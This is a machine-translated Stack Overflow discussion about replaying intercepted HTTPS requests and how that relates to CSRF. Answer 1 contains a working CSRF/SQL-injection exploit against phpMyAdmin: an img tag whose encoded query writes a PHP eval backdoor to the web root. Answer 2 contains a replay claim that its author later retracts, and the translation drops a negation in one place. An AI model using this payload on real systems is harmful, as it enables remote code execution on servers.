重播HTTPS请求的攻击

时间:2010-05-05 01:15:09

标签: https security

假设安全测试人员使用代理,比如Fiddler,并使用管理员的凭据记录HTTPS请求 - 重放整个请求(包括会话和身份验证cookie),安全测试人员能够成功(重新)记录交易。声称这是CSRF漏洞的标志。

恶意用户拦截HTTPS请求并重播它需要做什么?这是一个脚本小子,资金充足的军事黑客团队或时间旅行外星人技术的任务吗?记录用户的SSL会话并在门票到期之前重播它们真的很容易吗?

应用程序中的代码目前没有对HTTP GET做任何有趣的事情,因此AFAIK,欺骗管理员点击链接或加载带有恶意URL的图像不是问题。

6 个答案:

答案 0 :(得分:41)

HTTPS不可重播,握手序列中的第一个服务器响应包括服务器选择的随机数。

Fiddler所做的是充当代理,这意味着它会拦截您的浏览器请求,然后向服务器生成相同的请求,这意味着它可以访问明文,这将是重播的内容。您的浏览器告诉您证书来自Fiddler - “DO_NOT_TRUST_FiddlerRoot”,您必须同意这一点,然后才会发送消息,而忽略证书不匹配。

答案 1 :(得分:7)

您所描述的不是CSRF漏洞。 HTTPS专门防御原始密文的重播攻击,并防止攻击者知道请求的内容。

重要的是要注意HTTPS 来抵御CSRF。如果攻击者知道GET / POST变量应该是什么,那么他就能够构建恶意html,当目标执行它时,它将执行攻击者所需的动作。如果Web应用程序不是公共的并且攻击者不知道HTTP请求是什么样的,那么他们就无法伪造请求。例如,这是我写的针对phpMyAdmin的CSRF exploit。我已修改此漏洞利用以使用https,我所要做的就是将URL从http://更改为https://。

<html>
<img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>

此漏洞使用mysql的“into outfile”来删除后门。它使用无脚本,因为它伪造了一个GET请求,并且浏览器认为它是一个图像,直到它为时已晚。

答案 2 :(得分:1)

- 编辑:注意,我错误的是SSL没有处理重放攻击,根据下面的说法。实现令牌方法仍然很好。

考虑“重播”一个HTTPS请求,只需返回浏览器并再次按下该按钮。

也就是说,您无需解码任何内容即可重新提交SSL请求。途中的任何节点都可以做到(他们只是看不到流量)。

因此,如果我捕获向您发送100美元的SSL交易,那么我可以捕获并重新发送它以便我继续获得这笔钱。

明显的解决方案(嗯,典型的解决方案)是在HTML页面上生成一个令牌,然后在会话中保持相同的值。当请求进入时,检查此值,检查它是当前值,如果是,则处理它,然后更改当前值

如果它不是当前值(即在您处理完“原始”请求后它是旧值),那么您就知道该页面已重新提交。

这是防止重复提交信用卡详细信息等的常用方法,但它也具有强制唯一请求匹配每个响应的安全优势。无法解密SSL的链中的攻击者无法通过此。

答案 3 :(得分:1)

您是否仅仅意味着重播SSL(尚未公开显示)或身份验证Cookie(特定于应用程序)?前者表示SSL中一个隐秘的,私下发现的漏洞(你不太可能修复,我可能会补充)。后者,即任意机器可以为先前建立的经过身份验证的会话提供cookie,确实表明应用程序中存在潜在可利用的CSRF漏洞,应予以解决。

尽管通常认为SSL流量无法通过MTM攻击嗅探(假设您已针对去年11月披露的漏洞采取了纠正措施),但存储在用户远程计算机上的cookie不能免受拦截(特别是如果您的站点中存在XSS漏洞或与您的站点位于同一域中的任何站点)。此类跨域/双漏洞漏洞越来越普遍,从严格的安全角度来看,即使不直接通过您的应用程序,漏洞也可能被利用。

答案 4 :(得分:0)

SSL V2完全容易受到攻击,不能启用它。

http://www.owasp.org/index.php?title=Transport_Layer_Protection_Cheat_Sheet

答案 5 :(得分:-1)

据我所知,CSRF是指一个站点引用另一个站点并窃取当前用户凭据作为其中的一部分。 CSRF NOT 只是转发请求。

代理是可信转发器,不应篡改请求。它就像中间攻击中的经典人一样简单。如果你相信你与终点的联系,你就会受到中间人的摆布。

要拦截和重播HTTPS请求(经典的HTTP重播攻击),您必须能够解密流量AFAIK的SSL加密。我的猜测是,你做不到。更不用说,足够快,有用。

更多背景会有用,但我不确定你在这里开车的是什么。